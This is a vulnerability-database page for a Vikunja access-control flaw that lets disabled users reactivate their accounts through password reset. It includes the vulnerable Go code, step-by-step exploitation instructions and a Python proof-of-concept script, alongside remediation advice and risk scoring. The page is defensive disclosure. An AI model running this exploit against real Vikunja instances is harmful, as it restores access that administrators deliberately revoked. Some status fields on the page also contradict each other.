Skip to main content

Python CVE-2026-33316

HIGH
Improper Access Control (CWE-284)
2026-03-20 https://github.com/go-vikunja/vikunja GHSA-vq4q-79hh-q767
8.1
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Request password reset token via /api/v1/user/password/token
  2. Exploit
    Complete reset via /api/v1/user/password/reset endpoint
  3. Execution
    ResetPassword() function sets status to StatusActive
  4. Impact
    Disabled user account reactivated and access restored

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK

1 technique across 1 tactic: Defense Evasion

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires Vikunja instance with password reset endpoints enabled (/api/v1/user/password/token and /api/v1/user/password/reset). Attacker must be an authenticated user with valid login credentials to request a password reset token. Victim must be a disabled user account. No user interaction required beyond reset completion.

Impact

The CVSS score of 8.1 (High severity) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N indicates network-exploitable vulnerability with low attack complexity requiring only low privileges (PR:L), though the attacker must have previously been a legitimate user who was then disabled. The attack is fully automatable as demonstrated by the provided Python PoC script, requiring no user interaction and exploiting unauthenticated endpoints. Real-world risk is significant in environments where account disablement is used as a security control for terminated employees, compromised accounts, or policy violations. The availability of a public PoC and detailed exploitation steps increases practical risk. However, exploitation requires prior knowledge of a valid disabled account email address and access to that email inbox or the reset token, which provides some practical limitation. Patches are available from the vendor (commits 049f4a6 and d8570c6) indicating active remediation. This represents a genuine access control failure with high integrity and confidentiality impact where administrative security decisions can be unilaterally reversed by affected users.

Exploit ScenarioDerived

An organization terminates an employee and an administrator disables their Vikunja account to prevent access to project data and task information. The terminated employee navigates to the unauthenticated password reset endpoint, requests a reset token using their known email address, retrieves the token from their still-accessible company email, and completes the password reset process. The vulnerable code automatically reactivates the account to 'Active' status, granting the former employee full access to confidential project information, task assignments, and team communications despite the administrative disablement action.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 20, 2026

Vikunja task management application contains an authentication bypass vulnerability in its password reset logic that allows disabled user accounts to be reactivated without authorization. The ResetPassword() function unconditionally sets user status to 'Active' after password reset completion, enabling disabled users to regain full access by requesting a password reset token and completing the reset process. A working proof-of-concept Python script is publicly available demonstrating automated exploitation of this vulnerability.

RemediationAI

Upgrade Vikunja to a patched version incorporating commits 049f4a6be46f9460bd516f489ef9f569574bc70d and d8570c603da1f26635ce6048d6af85ede827abfb as detailed in the vendor advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767. The patches modify the ResetPassword() function to preserve existing account status for disabled users rather than unconditionally activating them. Until patching is completed, implement compensating controls including monitoring of password reset activity for disabled accounts, implementing additional verification steps before allowing password resets on sensitive accounts, and auditing user status changes in database logs to detect unauthorized reactivations. Consider temporarily disabling password reset functionality via reverse proxy rules if disabled account security is critical to operations.

Affected Packages

go code.vikunja.io/api no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects Vikunja, a Go-based open-source task management application (pkg:go/code.vikunja.io_api). The root cause is classified as CWE-284 (Improper Access Control), specifically in the user_password_reset.go module at line 66 where the ResetPassword() function unconditionally executes 'user.Status = StatusActive' without validating the account's prior state. The flaw stems from an incorrect assumption that password resets only occur for unconfirmed or normally-active accounts, failing to account for administratively-disabled accounts (status = 2). The RequestUserPasswordResetTokenByEmail function compounds the issue by using GetUserWithEmail() which does not filter disabled users, allowing them to initiate the reset flow. The vulnerable code directly updates the database with both new password hash and active status via a two-column update operation, bypassing any authorization checks on account status transitions.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
SUSE HIGH

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch released
Mar 20, 2026 - 17:30 nvd
Patch available
CVE Published
Mar 20, 2026 - 17:25 nvd
HIGH 8.1

DescriptionGitHub Advisory

Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

Vulnerable Code Snippet

In pkg/user/user_password_reset.go, beginning at line 66:

go
	// Hash the password
	user.Password, err = HashPassword(reset.NewPassword)
	if err != nil {
		return
	}

	err = removeTokens(s, user, TokenPasswordReset)
	if err != nil {
		return
	}

	user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
	_, err = s.
		Cols("password", "status").
		Where("id = ?", user.ID).
		Update(user)
	if err != nil {
		return
	}

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.

PoC (Proof of Concept)

Manual Exploitation Steps
  1. Create a standard user account in Vikunja.
  2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (status = 2).
  3. Attempt to log in as the disabled user to verify access is blocked (receives HTTP 412: This account is disabled).
  4. Without authenticating, send a POST request to /api/v1/user/password/token with the disabled user's email address.
  5. Retrieve the password reset token from the incoming email.
  6. Send a POST request to /api/v1/user/password/reset with the token and a new password.
  7. Log in using the new password. Observe that the login succeeds (HTTP 200) and the account has been maliciously reactivated.
Automation PoC
python
import requests
import psycopg2
import time
import secrets

API_URL = "http://localhost:3456/api/v1"

def main():
    username = f"testuser_{secrets.token_hex(4)}"
    email = f"{username}@example.com"
    password = "SuperSecretPassword123!"

    print("[1] Registering user...")
    requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})

    print("[2] Admin disables account (Status = 2)...")
    conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password")
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,))
    conn.commit()

    print("[3] Verifying login is blocked...")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": password})
    print(f"Login response: {res.status_code} (Should be 412)")

    print("[4] Attacker requests password reset...")
    requests.post(f"{API_URL}/user/password/token", json={"email": email})

    print("[5] Attacker grabs token from email/DB...")
    cursor.execute("SELECT id FROM users WHERE username = %s;", (username,))
    user_id = cursor.fetchone()[0]
    cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,))
    token = cursor.fetchone()[0]

    print("[6] Attacker submits reset, triggering bug...")
    new_password = "HackedPassword123!"
    requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password})

    print("[7] Attacker logs in successfully!")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password})
    print(f"Final Login response: {res.status_code} (Should be 200)")

    cursor.execute("SELECT status FROM users WHERE username = %s;", (username,))
    print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)")
    conn.close()

if __name__ == "__main__":
    main()

Impact

  • Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision.
  • Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.

Executive ViewAI

Why It Matters

Vikunja task management instances are vulnerable to unauthorized account takeover, allowing attackers to reactivate disabled user accounts and gain full system access without proper authorization. This directly impacts organizations relying on Vikunja for task management by compromising access controls and potentially exposing sensitive project data and business workflows.

Business Impact: High
Compensating Controls

Apply vendor patch. If patching cannot be completed immediately, implement the following interim mitigations: disable the password reset functionality at the application level, restrict password reset requests to whitelisted administrator accounts only, implement rate limiting on password reset endpoints, monitor authentication logs for disabled account login attempts, and consider network-level access controls to limit exposure of the Vikunja application.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
4 sources
Confidence: Medium
NVD CVE.org EPSS Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)GitHub Advisory

pkg:go/code.vikunja.io_api

Related Vulnerabilities in Vikunja Task Management Authorization Issues

View all 3

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy